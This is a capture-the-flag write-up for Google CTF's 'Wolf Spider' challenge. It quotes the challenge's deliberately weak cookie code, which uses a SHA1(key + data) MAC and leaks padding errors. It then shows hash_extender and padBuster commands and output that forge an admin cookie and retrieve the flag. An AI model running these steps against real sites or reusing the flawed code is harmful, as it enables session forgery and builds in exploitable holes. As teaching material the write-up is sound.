Google CTF - Wolf Spider [CRYPTO/WEB]


Competition: Google CTF
Challenge Name: Wolf Spider
Type: Crypto and Web
Points: 125 pts
URL: https://wolf-spider.ctfcompetition.com/


Reading the description of the challenge we can figure out that to solve the challenge we need a combination of two crypto attacks... The first one is a Padding Oracle in CBC mode (that lead us to encrypt any content without the knowledge of the crypto key) and the second one is a Hash Extension Length attack (that lead us to sign any data content even when part of that data is not known).

To understand what is a Padding Oracle Attack, please read this:

To understand what is a Hash Extension Length attack, please read this:

Reading the code of the challenge we can figure out some stuff:

from google.appengine.ext import db

class Data(db.Model):  
    aes_key = db.BlobProperty(required=True)
    mac_key = db.BlobProperty(required=True)

class Storage:  
    @staticmethod
    def init():
        data = Data.get_by_key_name("keys")
        if not data:
            key = os.urandom(16)
            mac = os.urandom(32)

            data = Data(key_name = "keys", aes_key = key, mac_key = mac)
            data.put()

        Storage.aes_key = data.aes_key
        Storage.mac_key = data.mac_key

The secret mac_key used by the app is a random string with length 32 and the key used by the algorithm is also a random string but with length 16.

class CookieCutter:  
    KEY_SIZE=16

    @staticmethod
    def encode(t):
        pad = (16 - (len(t) % 16))
        t += chr(pad) * pad 
        iv=os.urandom(16)
        algo = AES.new(Storage.aes_key,
            AES.MODE_CBC,
            IV=iv)
        crypttext = algo.encrypt(t)
        return (iv + crypttext)

    @staticmethod
    def decode(string):
        if len(string) < 16:
            return ValueError, "bad string"
        iv, string = string[:16], string[16:]
        algo = AES.new(Storage.aes_key,
            AES.MODE_CBC,
            IV=iv)
        plaintext = str(algo.decrypt(string))
        pad = ord(plaintext[-1])
        if pad > CookieCutter.KEY_SIZE:
            raise ValueError, "pad error - pad is %d" % (pad)

        expected = chr(pad) * pad
        piece = plaintext[-pad:]    
        if piece != expected:
            raise ValueError, "padding is corrupted"

        raw = plaintext[:-pad]
        return raw

    @staticmethod
    def make(dct):
        tcd = urllib.urlencode(dct)

        # Use RFC1321 to hash our data, so it can't be tampered with.
        h = SHA.new()
        h.update(Storage.mac_key)
        h.update(tcd)
        s = h.digest()

        coded = CookieCutter.encode(tcd)

        return s.encode('hex') + "." + coded.encode('hex')

    @staticmethod
    def unmake(st):
        pieces = st.split(".")
        if len(pieces) != 2:
            return None

        s = CookieCutter.decode(pieces[1].decode('hex'))
        if s == None:
            return None

        h = SHA.new()
        h.update(Storage.mac_key)
        h.update(s)
        f = h.hexdigest()

        if pieces[0] != f:
            # print "hash comparasion failed :("
            return None

        kv = urlparse.parse_qsl(s)
        ret = {}
        for k, v in kv:
            ret[k] = v
        return ret
  • The encryption scheme used by the challenge is a combination of (AES/CBC/PKCS5Padding) what is known to be vulnerable to Padding Oracle when leaks the information that the padding is incorrect.
  • The application is using a SHA1 algorithm to make a hash from the secret MAC_KEY with the plain text: SHA1(MAC_KEY + PLAINTEXT)
  • The application is transforming the received data (object array) into a URL string in the encryption. In the decryption, the app is transforming the URL in a object array again.
  • The application performs the hash validation only after decrypt the data.

With all those informations, the plan to attack is clear:

  • We need encrypt a string were the content is: username=random_user&username=admin and sign this string.

The first step is generate a valid signature to the encrypted data. So to do that we need perform a Hash Extension Length attack since we don't know the content of MAC_KEY used by the application. The following command show the attack performed:

vagrant@vagrant-ubuntu-trusty-64:/vagrant/hash_extender-master$ ./hash_extender --data "username=pimps" --secret 32 --append "&username=admin" --signature 32b9a272f461117d0919859153310da0577e41de --format sha1  
Type: sha1  
Secret length: 32  
New signature: 6f8556aad4cd5f0a7ec875d9d94e8999cf142dd7  
New string: 757365726e616d653d70696d707380000000000000000000000000000000017026757365726e616d653d61646d696e

vagrant@vagrant-ubuntu-trusty-64:/vagrant/hash_extender-master$  

After the attack we got:

Old Data URL encoded: username=pimps  
Old Signature: 32b9a272f461117d0919859153310da0577e41de  
New Data URL encoded: username=pimps%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%01%70&username=admin  
New Signature: 6f8556aad4cd5f0a7ec875d9d94e8999cf142dd7  

So, the next step of the attack is encrypt the string username=pimps%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%01%70&username=admin using a padding oracle attack. The following command show the attack performed:

vagrant@vagrant-ubuntu-trusty-64:/vagrant$ perl padBuster.pl https://wolf-spider.ctfcompetition.com/qwerty 660de522ae95c7a64997ac4b3f1fe63c05b7308444b38b6b74788bf07403004c 16 -encoding 1 -cookies "UID=32b9a272f461117d0919859153310da0577e41de.660de522ae95c7a64997ac4b3f1fe63c05b7308444b38b6b74788bf07403004c" -encodedtext "757365726e616d653d70696d707380000000000000000000000000000000017026757365726e616d653d61646d696e"

+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| labs@gdssecurity.com                      |
+-------------------------------------------+

INFO: The original request returned the following  
[+] Status: 200
[+] Location: N/A
[+] Content Length: 3444

INFO: Starting PadBuster Encrypt Mode  
[+] Number of Blocks: 3

INFO: No error string was provided...starting response analysis

*** Response Analysis Complete ***

The following response signatures were returned:

-------------------------------------------------------
ID#    Freq    Status  Length  Location  
-------------------------------------------------------
1    1   302 0   https://wolf-spider.ctfcompetition.com/signup?err=username_not_found  
2 **    255 500 323 N/A  
-------------------------------------------------------

Enter an ID that matches the error condition  
NOTE: The ID# marked with ** is recommended : 2

Continuing test with selection 2

[+] Success: (15/256) [Byte 16]
[+] Success: (251/256) [Byte 15]
[+] Success: (68/256) [Byte 14]
[+] Success: (180/256) [Byte 13]
[+] Success: (171/256) [Byte 12]
[+] Success: (29/256) [Byte 11]
[+] Success: (5/256) [Byte 10]
[+] Success: (182/256) [Byte 9]
[+] Success: (212/256) [Byte 8]
[+] Success: (7/256) [Byte 7]
[+] Success: (19/256) [Byte 6]
[+] Success: (96/256) [Byte 5]
[+] Success: (191/256) [Byte 4]
[+] Success: (182/256) [Byte 3]
[+] Success: (67/256) [Byte 2]
[+] Success: (25/256) [Byte 1]

Block 3 Results:  
[+] New Cipher Text (HEX): d1c73729de88924827c1843425d669f1
[+] Intermediate Bytes (HEX): f7b2444cace6f32542fce55048bf07f0

[+] Success: (213/256) [Byte 16]
[+] Success: (225/256) [Byte 15]
[+] Success: (37/256) [Byte 14]
[+] Success: (73/256) [Byte 13]
[+] Success: (147/256) [Byte 12]
[+] Success: (129/256) [Byte 11]
[+] Success: (61/256) [Byte 10]
[+] Success: (256/256) [Byte 9]
[+] Success: (112/256) [Byte 8]
[+] Success: (221/256) [Byte 7]
[+] Success: (235/256) [Byte 6]
[+] Success: (209/256) [Byte 5]
[+] Success: (157/256) [Byte 4]
[+] Success: (90/256) [Byte 3]
[+] Success: (253/256) [Byte 2]
[+] Success: (142/256) [Byte 1]

Block 2 Results:  
[+] New Cipher Text (HEX): 620ca86e231e299908c47968b3d81c5a
[+] Intermediate Bytes (HEX): 620ca86e231e299908c47968b3d81d2a

[+] Success: (176/256) [Byte 16]
[+] Success: (252/256) [Byte 15]
[+] Success: (212/256) [Byte 14]
[+] Success: (133/256) [Byte 13]
[+] Success: (82/256) [Byte 12]
[+] Success: (194/256) [Byte 11]
[+] Success: (43/256) [Byte 10]
[+] Success: (56/256) [Byte 9]
[+] Success: (22/256) [Byte 8]
[+] Success: (42/256) [Byte 7]
[+] Success: (75/256) [Byte 6]
[+] Success: (67/256) [Byte 5]
[+] Success: (46/256) [Byte 4]
[+] Success: (256/256) [Byte 3]
[+] Success: (76/256) [Byte 2]
[+] Success: (33/256) [Byte 1]

Block 1 Results:  
[+] New Cipher Text (HEX): bac86baddfdfb186fda251c60f5c8651
[+] Intermediate Bytes (HEX): cfbb0edfb1bedce3c0d238ab7f2f0651

-------------------------------------------------------
** Finished ***

[+] Encrypted value is: bac86baddfdfb186fda251c60f5c8651620ca86e231e299908c47968b3d81c5ad1c73729de88924827c1843425d669f100000000000000000000000000000000
-------------------------------------------------------

All set! so, the next step is configure the new cookie in the application using the new signature and the new encrypted data and access /admin to get the flag!

Cookie: 6f8556aad4cd5f0a7ec875d9d94e8999cf142dd7.bac86baddfdfb186fda251c60f5c8651620ca86e231e299908c47968b3d81c5ad1c73729de88924827c1843425d669f100000000000000000000000000000000

---- [REQUEST] ----

GET /admin HTTP/1.1  
Host: wolf-spider.ctfcompetition.com  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate, br  
Referer: https://wolf-spider.ctfcompetition.com/qwerty  
Cookie: UID=6f8556aad4cd5f0a7ec875d9d94e8999cf142dd7.bac86baddfdfb186fda251c60f5c8651620ca86e231e299908c47968b3d81c5ad1c73729de88924827c1843425d669f100000000000000000000000000000000  
Connection: close

---- [RESPONSE] ----

HTTP/1.1 200 OK  
Content-Type: text/html; charset=utf-8  
Cache-Control: no-cache  
Vary: Accept-Encoding  
Date: Mon, 02 May 2016 03:41:29 GMT  
Server: Google Frontend  
Alt-Svc: quic=":443"; ma=2592000; v="33,32,31,30,29,28,27,26,25"  
Connection: close  
Content-Length: 793

<html>  
<head>  
  <link href="/static/bootstrap.min.css" rel="stylesheet">
  <link href="/static/jumbotron-narrow.css" rel="stylesheet">
</head>  
<body>

    <div class="container">
      <div class="header clearfix">
        <nav>
          <ul class="nav nav-pills pull-right">
            <li role="presentation" class="active"><a href="#">My Blog</a></li>
            <li role="presentation"><a href="/signup">Signup</a></li>
          </ul>
        </nav>
        <h3 class="text-muted">if(a = 0) { }</h3>
      </div>

      <div class="row marketing">
        <div class="col-lg-12">
          <h3>Notes - 11th January, 2016</h3>
          <p>Note to self - my password is CTF{++How+do+you+fix+a+cracked+pumpkin+++With+a+pumpkin+patch++}</p>
    </div> <!-- /container -->
</body>  
</html>

flag

Hope you enjoyed the reading. Cheers!

pimps

FLAAAAAGS... SLOTH LOVE FLAAAAAGS....

Melbourne - Australia https://twitter.com/marcioalm